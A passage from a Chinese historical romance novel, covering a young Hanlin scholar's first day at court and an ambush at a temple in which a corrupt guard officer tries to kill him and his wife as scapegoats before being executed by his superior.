考虑到阿珣明日即将上衙,又是第一次,程氏格外慎重。原本是该黄时雨操心的事儿,但儿行千里母担忧,在程氏心里,小夫妻还是孩子,自己不亲自过问总归不安心。 孙妈妈服侍她去了趟不二梅斋,因着多一处男主人书房的缘故,此斋占地范围比府中其他地方都来的广,相当于两处园子合并。 程氏此番来得巧,简珣身边的大丫鬟正在熨烫官袍,青色的圆领,金带扣腰带。 大康正七品至正五品官袍颜色为青,腰带则是正七品至正四品为金,从官袍和腰带即能迅速分辨一位官员的大致品级。 素秋与白露同时发现了门口的程氏,连忙屈膝行福礼,道:“夫人。” 以往家眷的诰命或敕命从夫(子),当丈夫(儿子)因致仕、身故、犯事等原因失去官职,朝廷便会收回家眷的殊荣,然而本朝皇帝仁厚,在官员没有过错的前提下,不再收回家眷的册封御宝,只取消了俸禄,而时人又习惯以夫人称呼所有诰命。 这便是简府在没有正五品以上男丁的情况下,大家照旧尊称程氏一声夫人的缘故。 程氏“嗯”了一声,上前仔细端量。 衣冠、腰带、皂靴,皆被两个丫鬟打理得井井有条,熏香亦是阿珣惯用的。 皇帝有洁癖,见不得脏污,故此对官员个人清洁方面的要求极严格,周身不可有异味,讲话口气也得清新。以上都是最基本的要求,近身者更严格,以至官员面圣前沐浴更衣皆为常态了。 再看旁边放置的贴身衣物,崭新平整,针脚细密,宛若尺量。 从里到外焕然一新了,图个好兆头。 程氏赞了一句,随口问:“哪个丫头做的?” 不是谁都能为主子缝制贴身之物,唯有一等大丫鬟、通房、乳母等关系亲近之人才可。 那么在主子跟前得脸的,或多或少都有一手绣活。 而简珣的乳母眼睛不大好,做不了精致的活,所以程氏才问哪个丫头。 素秋道:“回夫人,是蕊珠。” 程氏点点头,蕊珠啊。 是个漂亮且规矩的丫头,这些年本本分分偏居一隅,从未生事,也正因为太过老实,在简珣跟前都不敢抬头大声说话,全然不似他身边其他姑娘活泼,才不得简珣喜爱。 如今新婚蜜里调油,则更不会记得这号人物。 程氏心里有数,提了蕊珠二两银子的月钱,又赏了几样钿花,以示嘉奖,也算是一种含蓄的安慰。 这日小夫妻俩回府,带回四盆鲜花,两盆姚黄并两盆春兰。 不必说,那春兰定是孝敬程氏的。 简珣道:“明儿城郊的花农还要送两车过来,其中一车全是阿娘您喜欢的品种。” 他极会端水,把媳妇和娘亲都哄得很好。 程氏在心里笑,岂会不懂他的小心思,举凡疼媳妇的时候,也都会献给她一份好,他是怕她因为“娶了媳妇忘了娘”从而对梅娘心生不满。 殊不知程氏与普通婆母全然不同,对儿媳的要求更是简单,出身清白,人品端正,规行矩步,与阿珣相敬如宾,平平安安过日子即好。 一家三口在清苑用了晚膳。 晚膳后简珣就被赶走了。 黄时雨留下“侍疾”。 阿娘这是不准他与梅娘同房。 简珣知道梅娘一定在心里偷偷乐。 她向来自私,不大愿意伺候他,快活完轮到他就娇里娇气。 只喜欢他做小伏低温柔的前半段,后半段那种令他快活的激烈,她是一百个不愿意,回回做到一半便撂挑子不干。 他那么难受,急得不知该是进是退的模样,在她眼中一定很可笑。 如今羽翼渐丰,她就打歪主意,利用阿娘算计他。 简珣也不是不生气,只是在不被爱的关系里,习惯了忍让。 唯有夜深人静时,才恍然落寞。 神秘的年轻画员究竟是谁? 从蒋河的窥探以及梅娘的只言片语,他拼凑出一名年轻且出身良好的男子,穿湘色画员官袍,多半就是画员。 梅娘已经算画署新人中的翘楚,那人却有能力指点她,至少得是一位小有名气的画师,且不是新人。 当差六年的蒋河竟不认识他。 想到这一层,简珣断定此人绝非普通画员。 年轻且擅长丹青的世家子弟,相貌不俗,符合这些的人不算多。 简珣抽丝剥茧,耐心地排查。 实非他不愿相信梅娘,而是梅娘的所作所为不符合正常姑娘的逻辑。 他想象中的她,因故失贞,应当是哭泣的害怕的,投入他怀中以求保护与安慰,而不是与侵占她的男人悠然惬意共处一室! 他一直压抑的,无法释怀的怒意,皆因她心平气和地面对奸夫! 用蒋河的描述便是:两人默契自如,一个作画,一个从旁小心指点着,间或以指虚抬她的腕子调整发力点,何等暧昧,何等亲昵! 这样的时刻,她背着他,有过多少回? 她一无所觉,亦或是享受其中! 享受着一个睡过她的男人的殷勤。 三月十一,简珣第一次上衙。 从简府同时驶出两辆马车,一辆少爷的,一辆少奶奶的,但去的路上少奶奶坐在少爷的车里。 黄时雨艳羡地瞅着简珣的青袍,鸦发雪肤,唇红齿白,配上青色,宛若空山新雨后,竹林的露珠,煞是好看。 作为一名画师,她时常想留下动人瞬间,比如画一副简珣,等他老了再给他瞧,一定很有趣! 此时的黄时雨,对“老”的概念尚模糊。 这个字眼与长辈画等号,所以二十几岁,三十几岁,四十几岁等等,都是“老”。 长辈即老。 简珣撩眼看向黄时雨。 她兴趣盎然,研究着他的官袍,察觉到他的目光,立时对他露出了全无防备地璨笑。 简允璋对她的判词极为准确:记吃不记打。 那些旁人难以走出的痛苦,到她这里都轻飘飘的,只要对她好,她就忘了痛。 简珣对她笑了笑:“下车吧,你到了。” 含光门已到。 下车走了八九步,她还回头望了一眼,发现他依旧在,便又对他笑了一下。 翰林院位于皇城东南边,应当走安上门,两人同车的话车夫就得一直往西,先将少奶奶送到最西面的含光门,再回头将少爷送到最东面的安上门。 偌大的皇城,绿袍最常见,青袍也相当普遍,间或路过一袭绯袍,众人立刻自发地让路先行,并揖个礼。 简珣踏着东方的一丝曦光,从晨雾中走来,像是天青色的龙泉玉瓷化了人形。 见过他的人不多,但他的大名着实太火,十七状元及第,一路小三元大三元,又是叶学士门生,想低调都难。 与才名一样为人津津乐道的是他的相貌。 于是大家一瞧见这个小神仙似的青袍少年郎,登时便猜到了他身份,除了简允璋不做他想。 倒也有世交脸熟的,会亲切地招呼一声:“简翰林。” 简珣恭敬回:“陶大人。” 陶大人站直了拱手一礼,而简珣是微微躬身拱手一礼,这是大康最寻常的下官与上官见礼。 因为简珣的官阶太低,所以大家会以官职称呼他,官阶高的,则既可以称呼官职亦可直接称大人。 当然翰林还能够细分成许多称呼,比如简珣是修撰,但非正式场合没那么多讲究,在翰林院供职的皆可以翰林称之。 相对于其他各部各署固定的供职场所,翰林院略有特殊,特殊在场合不固定,通常情况下是两个,一个是翰林院,另一个是晔明宫。 晔明宫在宫城的东北角,乃皇帝燕居之所,其中的金銮殿既是皇帝的寝宫,亦是机要决策中心,更是翰林院轮流排班当值的场所。 排到谁,谁便在金銮殿当值一天一夜。 谁也不知这一天一夜会发生什么,可能吃了睡睡了吃,再去延禧阁翻阅皇家藏书,自娱自乐,也可能还未用完午膳就被皇帝召去草诏或应答,再或者半夜睡的正香被内侍喊醒,因为皇帝忽然睡不着想起个问题,需要人提供下思路。 有时皇帝心情好,把翰林召至麟德殿饮酒赏歌舞也不是没可能。 总之全看皇帝心情。 作为叶学士的学生,简珣对翰林院不说知根知底,也是有所了解的,行事作风又相当有分寸,加上他本身内敛沉稳,使人见之常常忽略了他的年纪,淡化些许轻视年少的心态。 因昨日恰好轮值完毕,今日翰林院又迎来了新科一甲三进士,叶学士大手一挥,直接让三人加入排班,顺序就按他们的名次——状元、榜眼、探花。 简珣第一次上衙就得去晔明宫当值,对于新人来说,多少有些儿挑战。 众人暗地里面面相觑,叶学士可真是一点也不心疼自己的学生。 但首次当值的待遇还是有的,晔明宫的内侍亲自来为简珣引路。 内侍施了一礼,笑道:“简翰林,这边请。” 简珣颔首道:“有劳公公。” 二人穿过宫城西南隅的兴安门,沿西宫墙与内苑东墙之间的甬道一路往北,因为这条路通右银台门,又通右藏库,才专门加了顶变成甬道,遮风避雨。 也极大地方便了翰林院当值的人。 一路上时不时出现一辆堆满贡品的马车,内侍见怪不怪。皇帝和后妃的日常生活所需,都要走这条路运送。 入宫向陆太后请安的肃王也得走这条路。 两下里便好巧不巧地遇上了。 有过校场利箭擦着太阳穴飞射的经历,简珣与肃王的关系早已结冰。 恣睢无忌的亲王。 没几人知晓肃王擅长丹青,实在是肃王喜动不喜静,与沉得下气久坐的大画师截然不同,任谁也很难将他与陆宴联想到一处。 简珣也不例外,对此毫不知情,排查了那么多年轻画师,处心积虑也没想到肃王身上。 肃王亦是懊悔当初冲动行事。 没有杀伤力的箭不异于无能狂怒。 反倒令简珣心生防备。 内侍忙不迭弯腰施礼道:“殿下金安。” 简珣亦施礼道:“殿下金安。” 韩意淮脚步一顿,偏头看向简珣的方向,眼里有幽深的光芒明灭,“允璋,恭喜高中。” 简珣垂眸道:“谢殿下。” 在通往右银台门的甬道上,二人若无其事前行,碍于尊卑,简珣稍稍落后半步。 韩意淮在心里道,一个从六品的官儿在京师出了意外就像一粒小石子投进乌水河。 而一个从六品官留下的小寡妇,无根无基,在任何地方都不好过,肃王随便用点手段,自然有人帮着他驯服梅娘,逼她向生活低头,然后做他的外室,以求遮风挡雨。 可这些都不是他想要的。 他不想再做令梅娘不快乐的事。 况且简珣也不是弱不禁风的穷酸翰林,没那么容易“失足”,死了也定有场风波。 肃王眼中的简珣,寡言少语,老成古板,有着与年纪不符的沉闷。 且还吝啬。 除了一对黄玉梅花耳铛,他就没见梅娘戴过像样的首饰! 女官上衙在头发上做不了文章,皆会在手镯上下功夫,而梅娘的两只皓腕总是空空如也。 想不通她究竟喜欢简珣哪一点。 就为那点成熟稳重? 与简珣待半天,不无聊么? 关于手腕空空如也,肃王还真是冤枉了简珣。 黄时雨非常讨厌在腕子上戴饰物,连头发丝粗细的绞丝金镯也不想戴,手镯会影响她运笔时的手感,任何耽误她手上功夫的都是累赘,包括戒指。 只有简珣为她按摩腕子的手指不是多余的。 肃王虽无半点歉意,却有意缓和关系。 幼年失怙的简珣,所经历的风霜与世情,早已使他足够体面地应对。 两人各怀心思,倒也心平气和,任谁也想不到在此之前,他们命悬一线的利箭。 肃王进宫请安,同时向母后辞别三日。 前往泽禾鹿锦书院。 他在科举制度上的诸多提议极大地提高了公平性,断绝令人头疼的沉疴,皇帝甚为满意,又安排他一趟差事。 陆太后打量愈来愈沉稳地肃王,十九岁,身形正在无限趋近于青年,看起来还真像个大人了。 “小时候,你古灵精怪的,哀家也没指望你有多大出息,想着将来做个富贵闲散人就不错,如今连皇帝都夸你能为他分忧,哀家这心里乱糟糟的,忽然觉得你长大了。”陆太后唏嘘道。 长大就会有大人的心思,而大人往往复杂诡谲。 陆太后对肃王的心思多少有点儿觉知。 只是想瞧瞧他到底要玩出个什么花来。 没出息的东西。 肃王辞别太后,当日晚间便到了鹿锦书院。 黄县令作为一县之长,今年接待肃王的事儿自然由他来主持,既要低调不惊动书院师生,还得体现下官对于亲王殿下的重视。 虽说一切照旧,就连下榻的舍馆亦如当年,却也花了几番巧思,内里陈设一新,耳房的十口大缸盛满了清冽甘甜的泉水。 他知道殿下娇贵,喝不惯书院的井水。 华山长就不会来事儿,压根没关心过肃王的用水,所以在肃王跟前一直算不上得脸,反倒是前任县令明察秋毫,常默默使人运送泉水,且没引起旁人怀疑过。 而今黄县令从下属那里得知此事,自然要好好下足功夫。 争取在肃王跟前露个脸儿,留些好印象。 对此黄太太万分支持,抱上贵人大树好乘凉,没有根基的官场并不好混,朝廷到现在也没有给她发正六品的敕命,因此,除了自家下人关起门称她一声“夫人”,外面的依然称她为黄太太! 而贤婿对她又不甚亲和,对此全无提携之意,她让人写了一封信给简珣,犹如石沉大海。 韩意淮向来对地方官淡淡的,便是前任县令也极少召见,对这个极尽阿谀之态的新县令多少有些不屑,旋即又飞快意识到一件事——黄县令,不就是梅娘的亲爹…… 他委实难以将眼前这个瘦小,五官一无是处,神情谄媚的中年人与梅娘挂钩。 震撼程度不亚于发现一只蛤蟆生了只小天鹅。 但凡小天鹅真传蛤蟆半分知情识趣,当年在书院他与她必能成就好事。 但这种阴暗的想法也就仅能放在心里想想,断不会说出去半个字。 韩意淮轻咳了声,抬眼看向黄县令。 黄县令屏气敛神,垂手立在他的座下。 “这么晚还要劳烦黄县令守候在此,本王挺过意不去。”他像是才发现不妥,“你不必拘礼,只管坐吧,来人看茶。” “谢殿下赐座。”黄县令心里热腾腾。 肃王倒是个平易近人的。 韩意淮拨了拨悬浮的茶叶,闲聊道:“听说去年的画魁乃泽禾县令之女,岂不就是黄县令家的千金了,了不起呀,这样一位千金,定是得了你的熏陶与督导才有此成就。” 黄县令汗如雨下,虔诚堆笑道:“殿下谬赞了,小女愚钝顽劣,侥幸摘得画魁,乃祖宗庇佑,天家恩德,与卑职关系却是不大的。” 算他尚有自知之明。 肃王眼角挑了挑。 第73章 雨雾 黄县令陪肃王闲聊。 年轻人精力旺盛,对泽禾的风土人情兴趣盎然,尤爱听他讲。 回想乍一见到肃王时,疏离又漠然,怎地一打开话匣子就完全变了个人。黄县令捺下好奇,恭恭敬敬顺着韩意淮的喜好说话,口若悬河,叙说泽禾风俗。 当讲到自家儿女之际,肃王的眼睛突然亮了。 黄县令精神大振。 韩意淮耐着性子听黄县令长篇大论自己的幼子,但只要耐心听,总能听到一两句关于梅娘的。 又想到允璋之出色,古今罕见,黄县令不由自满,忘却言多必失的道理,“允璋与小女两小无猜,如今喜结良缘也算是一段青梅竹马的佳话,卑职此生得允璋这样的学生佳婿,死而无憾了。” 韩意淮的脸色就寒了下来。 不知不觉三更天,黄县令察觉肃王神情不对劲,心下忖度殿下定是行程疲累,还听自己滔滔不竭,恐已心生不耐。 他十分乖觉,立时请殿下安歇,养足精神再随时召他前去问话。 韩意淮意兴阑珊对他挥挥手。 黄县令微微躬腰退出门槛,才小心翼翼转身离开。 回到县衙天色已经微微发白。 黄太太抱怨他夜不归宿。 黄县令斥责她胡搅蛮缠,继而满脸得色述说自己在肃王跟前如何的体面。 黄太太心如擂鼓,仍是不大敢信,迟疑问:“就凭你……肃王看重你啥?” “你懂什么,我好歹也是当今状元郎的老师,亦曾十八岁考取秀才功名,只怪时运不济才蹉跎二十余年,”黄县令愤然道,“肃王做为天潢贵胄,自然对我们读书人礼遇有加。” 黄太太心服口服。 因为贤婿的名头,不知有多少人家明里暗里求黄县令指点族中子弟,黄太太的尾巴都快要翘上天。 男人,果然就得靠自己争取。 自己抢不到,才会立牌坊说教“人淡如菊,不争不抢做贤妇”那套。 黄太太一向不屑,所以过上了好日子。 如今她只恨自己当年没有笼络梅娘,闹得生分,目下又不敢凑前去,唯有耐着性子静观其变。 也不知小贱蹄子在贤婿跟前说了她多少坏话,以至贤婿半分体面也不给她。 就连回门那日,黄太太也没等到简珣一声“岳母”。 这样下她的脸,黄县令却骂她无事生非,理由是:“你又不是梅娘生母,还做过良妾,怎配做允璋岳母,再说,只要他视黄家为梅娘的娘家,就是最大的体面。” 黄太太鼻子发酸。 时下女子立世艰难,再尊贵的女子也离不开家族,父兄既是她们的桎梏亦是她们的依靠。 黄时雨和简珣结合,既有娶她之人的心甘情愿,费尽心机,也离不开黄县令打破阶级壁垒。 缺少任意环节,此番姻缘都难以成事。 这便是简珣一直在用好处拢着黄县令的原因。 分成多次一点一点地给,足以令黄县令马首是瞻,乖乖做梅娘的垫脚石。 黄太太认知有限,拎不清其中环环相扣的因果,只以为有梅娘这层关系,便能成为简珣的岳母,从此高枕无忧,坐享岳母该有的好处,殊不知,有没有她这个岳母,都不影响黄时雨的未来,更何况她又是如此糟糕,简珣没空搭理她,已算她命好。 聪明的话就该立时苟藏,最好使得简珣长长久久不记得她,方为上上策。 首次上衙就去晔明宫当值,十一这日傍晚,下人将此事回禀程氏。 程氏目光有过一瞬不容错失的讶异,旋即敛了敛,“我知道了,少爷有没有其他吩咐?” 下人道:“回夫人,少爷只要了一床锦被,方才半道上小的恰好碰见素秋,同她说了此事,想必现在锦被已经在送去的路上。少爷请您和少奶奶放宽心,宫里什么都有,要锦被是因为不习惯用他人的而已。” 宫里确实什么都有,皇帝不至于饿着冻着自己的臣子,但臣子也得明白一个道理,进宫当差是为了侍奉帝王而不是来享受富贵的,那么用以休息的舍馆就不可能多么讲究。 吃食方面尚可,热水管够,但床铺就是普通的硬板床,铺了层薄薄的褥子,被衾不提也罢,无人愿意共用,皆是自带。 这样的舍馆叶学士睡得,阁老重臣睡得,小小一个简珣自然也睡得。程氏心里不舍,脸上却没有流露一丝一毫的不满。 黄时雨安安静静的,待程氏说完了话才对下人道:“告诉素秋,把那条酱色地织金妆花毯也一并送去。” 酱色毯轻薄方便不占地方又能铺在身下。 连被衾都不愿共用,褥子自不必说。 程氏满意的目光投向了黄时雨。 “回少奶奶,素秋同您想到了一处,都备下了。”下人回道。 黄时雨和程氏对视一眼,婆媳二人再无后顾之忧,一同布置花农送来的牡丹和兰草,又用了晚膳。 程氏想,阿珣端水能力高超,将来定能哄好后院,省的她操心了。 次日旬假亦是黄时雨的生辰。 晨间,她自清苑回到不二斋,打算睡个回笼觉,不意才眯了片刻就闻到了熟悉的气息。 简珣双手捧着她的脸,拉近自己,上下打量,又不想显得自己离了她不可,便强作淡然脸色,淡然语气道:“想不想去济恩寺放纸鸢?他家的素斋比你最喜欢吃的肉还好吃。” 黄时雨果然睁开了眼,嘴角有些压不住,却道:“那我们也带上娘吧,她终日不出府,多憋闷。” 这么好的提议,却没得到简允璋的夸赞。 她睁了睁眼睫。 简珣的脸庞近在咫尺,正满目温柔凝视她。 “梅娘真是个好儿媳,也是我的好媳妇。”他摸了摸她的脸颊,“不过阿娘说她不去,今儿是你生辰,让我带着你好好玩。” 春光明媚,鲜衣怒马少年郎拥着佳人,驱马朝着济恩寺的方向疾驰。 丫鬟小厮乘坐马车不远不近跟在主子马后。 许久未骑马,黄时雨略略紧张,双手用力抓着身前马鞍,身后简珣嘲笑她,道:“一粒豆大的胆子,连墨雪这般温顺的脾性都害怕,你是怎么不怕我的呀?” “我,只是恐高……”她僵着脖子辩解道。 简珣却哈哈大笑。 黄时雨难为情地抿了唇。 逛着逛着,忽然就闯进了梨花林中,芬芳袭人,洁白若雪,济恩寺巍峨的殿檐在起起伏伏的树影中若隐若现。 黄时雨的双眸雪亮雪亮的,身体也不再那么僵硬,柔软地依偎简珣,欣然道:“阿珣,这里好美呀。” 简珣吻了吻她鬓角。 福生等人追随至山脚下,少爷走的这条路并不适行车。 意思极其明显,莫要跟来。 小夫妻俩嫌他们碍事。 双方分路而行。 梨花林景色清幽,蝴蝶飞舞,简珣栓好马儿,一臂便将她拦腰抱下,黄时雨惊呼,双脚却稳稳落了地。 简允璋委实艺高人胆大。 就不怕把她摔了跌成个傻子! 可是他手里举着纸鸢,目光明粲,嘴角轻弯,比春光更明朗,任由数枝梨花拂在自己的身上。 黄时雨一时看呆了。 简珣已经离得足够远。 她还在原地发呆。 也可能是在使小性子。 简珣扬了扬下巴,推开勾住了纸鸢飘带的梨枝,花雨落。 隔着花雨,他大声道:“我都举了这么久,你倒是跑呀。” 黄时雨方才回过神,僵硬地扭过身,转动线轮小跑。 纸鸢陡然升向碧空,越飞越高,宛若高过了济恩寺的琉璃塔,黄时雨瞪大了双眸,眉弯如新月。 简珣疾步追上,站在她身后,两手包裹着她忙碌的小手,掌握住线轮。 有了他,纸鸢不仅飞得高还飞得稳。 两人笑起来。 简珣的下颌贴了贴她鬓角,道:“梅娘,我就是你的纸鸢,你拿好线轮,别让线断了。” 未料平地惊闷雷,轰然巨响,又像是什么在头顶炸开花,生生吞没了简珣的柔情,黄时雨花容失色,纤柔的身子当即被扑倒在地。 直把她摔得头晕眼花。 所幸简珣的右掌垫在她的后脑勺与地面之间。 双耳嗡鸣,短暂地失聪。 黄时雨六神无主:“阿珣,阿珣,阿珣!” “我在,快跟我走。”简珣迅速爬起,将黄时雨夹在胳膊上飞快向西奔走,远离身后越来越近的危险。 浓浓的硝石硫磺味儿,有点像除夕夜的烟花。 前面一方天然的大青石,矗立溪水边,打量周围再没有比这更合适的屏障,简珣三步并作两步跳过去,才按着黄时雨肩膀蹲下,二人头顶又是一发巨响。 尘灰飞扬。 黄时雨扑进简珣怀中,他伸手将她牢牢抱住。 这样好的屏障,被追杀的人自然也不想错过。 他纵身跃上青石,爆炸声紧随其后,这回他未能幸免,身形骤然一晃,旋即倒栽葱似的直挺挺翻了下去,重重地砸落黄时雨脚边,血肉模糊,迸出一滩红的白的黄的,腥气扑鼻。 “别看。”简珣捂住黄时雨的眼睛。 “骁影卫办案,尔等何人?”一名锦衣华服的魁梧大汉斜刺里跳出。 眨眼小夫妻俩就被十来个骁影卫包围。 简珣镇定道:“敝姓简字允璋,家住宣道坊简府,携内人于此处放纸鸢,不意天降横祸,险些被火铳击中,简某担心内人受伤,这才寻得此处避祸。” 大汉浓眉凤眼络腮胡,宛如一尊怒目金刚,听完简珣的交代,神情缓和了下来。 他道:“原来是新科状元简翰林,失敬。” 如今京中谁人不识简翰林。 简珣低声问怀里的人:“梅娘,你还好吗?” “我没事,就是耳朵有点模糊,像是蒙了层棉花。” 他松了口气,安慰道:“会好的。” 黄时雨白着脸,在简珣的搀扶下站起身。 大汉道:“且慢,你们还不能走。” 简珣皱眉道:“为何?” 大汉指了指地上的尸体,道:“此人乃大理寺重犯,知道一些不该知道的事儿,一旦勾连同党后患无穷。隋某也是听命行事,还望简翰林体恤则个。只能先委屈二位随我前往寺院喝杯茶。” 望着简珣渐渐沉冷的目光,大汉拱手描补一句:“我们待客的茶绝对甘美,喝完再送二位离开不迟,改日隋某自会备下薄礼亲自登门谢罪。” 茶,当然是真的好茶。 有没有命喝,待定。 隋千户的意思是,他需要一点时间核实简珣的话,确认小夫妻俩是不是同党。 “隋大人,我们这样的身份做不得假,您随便查,不若一起去光德坊宝天府衙。” 疑罪不是应该去衙门么? 隋千户弯起一抹笑,道:“您说的是,喝完茶再去衙门也不迟。” 黄时雨愣住:“你,你。” 他大手一挥,扶着刀柄昂首阔步率先走在前头。 简珣攥紧了黄时雨冰凉的小手,轻声道:“没用的,他不是怀疑我身份有假,而是怀疑我们与朝廷重犯勾连。” 黄时雨的手心冒出了一层冷汗,嗫嚅道:“阿珣。” “别怕,我不会让任何人伤害你。”简珣道。 黄时雨并不信他能做到,却信他一定会努力这么做。 “阿珣,我不怕。”她颤声道。 火铳那么大动静方圆几十里都能听见。 简府随行护院当场冲了出去。 梨花林传来的。 少爷少奶奶都在梨花林。 隋千户将小夫妻俩暂时关进了寺院客房。 副千户气喘吁吁追上他,压低声音说道:“千户,我总觉得不妥,不如先把人放了,派几个弟兄盯着宣道坊。” 骁影卫与安国公素来井水不犯河水。 就这么把琅琊简氏最有出息的一个小辈扣押,万一出事谁担责? 隋千户眼睛一瞪,斥道:“这里老子说的算还是你说的算?” 副千户登时噎住息声。 客房内简珣扶着黄时雨坐稳。 他半蹲单膝着地,捏了捏她的脚踝,问:“这里痛?” 黄时雨蹙眉“嗯”了一声。 “这里痛不痛?” “有一点。” “只是一点?” “嗯,方才按的地方更痛。” 那就是没有大碍。简珣起身检查门窗。 济恩寺的客房大差不差,基本一样。 门窗皆未上锁,完全可以打开,但门窗外皆有两名骁影卫把守,他们见屋里的人推门而出,冰冷的面色丝毫未变,只是微微抬手做了一个“请”的动作,请“贵客”进屋。 简珣道:“屋里很闷,我要敞开透气。” 说罢又折了回去。 两名骁影卫对视一眼,重新目视前方,扶剑站姿笔直。 没有再阖上打开的门扇。 小夫妻俩的身份根本不用去府衙核实,简府的下人已经闹去了主持禅房。 副千户汗流浃背,急忙忙找到隋千户,粗声粗气道:“都怪你,把事儿办的真难看,现在好了,简府的人堵在禅房吵吵嚷嚷,闹得人尽皆知。” 隋千户忍俊不禁道:“你都做骁影卫了,还担心名声?” 副千户气急败坏道:“老子在乎屁的名声,老子是在乎命!你知不知道谁在与主持下棋?” 他喘了口气,道:“是小闻大人!” “闹这么一出,该怎么解释?” 隋千户面色微变,“他怎么在主持那里?” 副千户吼道:“这我哪儿清楚!” 中途声称回宫的小闻大人从未离开。 隋千户像变了个人似的,忽然道:“无妨,此事我会与小闻大人亲自解释,我去去就回。” 他朝关押小夫妻的客房匆匆走去。 扶剑的大掌蓦地攥紧刀柄,骨节发白。 “千户。”负责看守的骁影卫发现隋千户立刻抱拳施礼。 隋千户点点头,冰冷道:“我进去审审。” “是,大人。” 二人贴心地关上门。 简珣皱眉冷冷撇向不速之客。 不动声色地将黄时雨护在身后。 却见隋千户朝这边走来。 简珣立刻迎上,半道拦人,不准他靠近黄时雨。 黄时雨紧张地吞咽了一下,魁梧庞大的隋千户仿佛一座小山,阿珣的腰还没有他胳膊粗,所以大家有话好好说,万不能打起来。 “大,大人,您找我们何事?”她竭力稳住心绪。 隋千户对她笑了一下,转首再次确认门窗是否关紧。 简珣目光深凝,感受到了森寒刀气,直取他的咽喉。 以隋千户的身手,切断简珣喉咙再拧断黄时雨脖子,不过弹指之间,却做梦也没想到拔出的刀切了个空。 简珣毫发无损避开致命一击。 隋千户惊诧道:“你会武!” 翰林就是一群手无缚鸡之力的酸儒。连隋千户也未能避免这样的刻板印象。 完美无缺的金蝉脱壳,因为替死鬼死不了变成了一招臭棋。 “救命啊,杀人了!”黄时雨扯着嗓子喊。 骁影卫破门而入,只见隋大人暴起怒砍简翰林。 “他不问情由只求灭口,骁影卫就是这样查案的吗?”简珣险险避开数次杀招,还能分心与后来的人对话。 隋千户厉声道:“速速将他拿下,他就是同伙。” 简珣了然道:“原来你就是同伙,好一招金蝉脱壳。” “你闭嘴!”隋千户见大势已去,立即调转方向砍向黄时雨。 简珣与靠得最近的一名骁影卫同时飞身扑过去。 骁影卫也不傻,看这情况隋千户比简翰林更有问题。 “梅娘,快跑。” 简珣与骁影卫堪堪架住了那把能将黄时雨劈成两截的刀。 黄时雨关键时刻倒是挺住了,非但没吓晕还真的跑向了门口,不等她哀求出声,骁影卫纷纷拔刀冲了过去。 缠斗中不知谁的刀脱手而飞,呛啷砸地。 简珣箭步跨至黄时雨跟前,拽住她并拾起长刀,跑向门外。 二人还未跑出客院,屋内四名骁影卫先后身首异处。 隋千户宛若炼狱人屠,浴血而出。 赤红液体自刀刃滴落。 一步开出一朵血花。 黄时雨扯破了喉咙呼救。 “天要亡我。”隋千户惨然一笑。 一个不及弱冠的书生,与他打的有来有回。 不是天要亡他是什么? 简珣五岁起就跟着拳脚师父打基础,十岁练剑,身手十分了得,只不过他习惯了读书为重,除去自保,等闲不以打架斗狠为乐,才令隋千户看走了眼。 再加上保护梅娘心切,简珣以刀为剑竟能与隋千户打的有来有回。 黄时雨唯恐再被人针对,乱了简珣心神,便不停地跑,扒开院门凄厉呼救。 但见一群黑衣甲胄侍卫冲来,宛若天降神兵,黄时雨仿佛看见了曙光。 冲在最前面的副千户拔出大刀,吼道:“什么情况?” 黄时雨大声回:“隋千户意图杀人灭口,嫁祸我们!我夫君危在旦夕,大人,求您了,快救救他!” 简珣退步虚晃一招,实则提膝攻敌胫骨,趁其闪神反身一脚命中心口,借力弹开数丈远。 隋千户终于发现,简允璋不会使刀。 刀与剑的差别相当大。 简珣以袖抹了把嘴角血迹。 但凡没踢中隋千户,隋千户的刀就要将他捅个对穿。 他捂住腹部,血流如注。 “阿珣。”黄时雨扑了过来,双手却无措地举着,想碰他又唯恐碰了他伤口。 “阿珣,你流血了,我们快跑。”她想抱起他,抱不动。 “是皮外伤,不打紧的。”简珣道。 闻遇负手举步迈入。 漠然扫视院中狼藉。 众人仿佛被施了定身咒,俱看向他。 隋千户庞大的身躯隐隐发颤,双腿一软,勉强以刀撑住。 闻遇的目光漫漫扫过每一个人,包括伤势难辨的简珣,以及他身边哭得死去活来的女人。 “死了几个?”闻遇问。 副千户屏息回:“四个看守。” 闻遇顿了顿,接过下属呈上的马鞭,油光发亮,鞭尾闪着森森锋芒,显然这不是用来驭马的。 隋千户怒吼一声:“大人,您听我解释。” 鞭尾就出其不意扫向了他,宛若三月的烟柳擦颈而过,又回到了主人手中。 闻遇的眸子没有一丝温度。 下属垂首上前,双手接住小闻大人的寒铁鞭。 隋千户从喉咙发出了奇怪的“嗬嗬”声。 像是专门含了一大口水。 简珣一手捂着伤口,一手将黄时雨捞进怀中,不让她看。 黄时雨听见隋千户将那一口“水”喷了出来。 仿佛下雨了。 “雨雾”喷洒到处都是,甚至滴落她手背。 温热的雨。 隋千户失去意识前目睹鲜红液体从自己的脖颈射出,一丈高。 第74章 足矣 前有简府仆从禅房闹事,后有副千户畏罪自首。 闻遇已然知悉事情大致经过。 隋千户打着金蝉脱壳的主意,从一开始就在物色替死鬼顶罪,只消搪塞过今日一切就能转圜。 发现梨花林的小夫妻俩,他便故意射偏火铳,将人逼至绝路。 后知后觉“替死鬼”是简翰林,他的心霎时凉了半截。 但横竖是死,不如赌一场。 却千算万算没算到简允璋精通拳脚,完全不弱于武夫,要是有把趁手的兵器,胜负犹未可知。 骁影卫分工明确清扫案发现场,没有一个人交头接耳。 人来人往,除了立在闻遇身边低语的亲信,一切都静谧又诡异。 索性入乡随俗,黄时雨也不敢轻易开口,以眼神问简珣能不能离开? 简珣扶着她站起身,拱手揖礼道:“多谢小闻大人救命之恩。下官负伤流血不止,内人亦受了不小的惊吓,急需就医,就此先行一步。” 他告了个罪。 闻遇似乎才想起现场还有两个多余之人,终于把视线调向黄时雨的方向,又落向了简珣。 四目相对,一个清澈坚毅,一个沉若寒潭。 “简翰林的伤势不宜耽搁,止血要紧。”闻遇淡淡道,目光重新看向黄时雨,“黄画员若是不想他失血而亡,还是劝他配合些。” 说罢,沉声道:“檀光,映止,扶简翰林进屋止血。” 闻遇说完,拂袖朝院门的方向而去,大步流星,头也不回。 简珣想了想,对黄时雨点点头,小夫妻俩便相互搀扶往屋内走去。 被闻遇称为檀光和映止的骁影卫应是精通医术,二人提着属下递来的药箱服侍简珣止血包扎。 这种事一个人足够,闻遇却安排了两个。 生怕他跑了。 这厢,闻遇步履匆匆,边走边道:“四名骁影卫因公殉职,抚恤家眷之事你来安排,再拿我名帖去安国公府走一趟,想必深明大义的安国公定能体恤骁影卫。” 青禾回:“是,大人。” 他是闻遇的亲信,这种事由他出面最为稳妥。 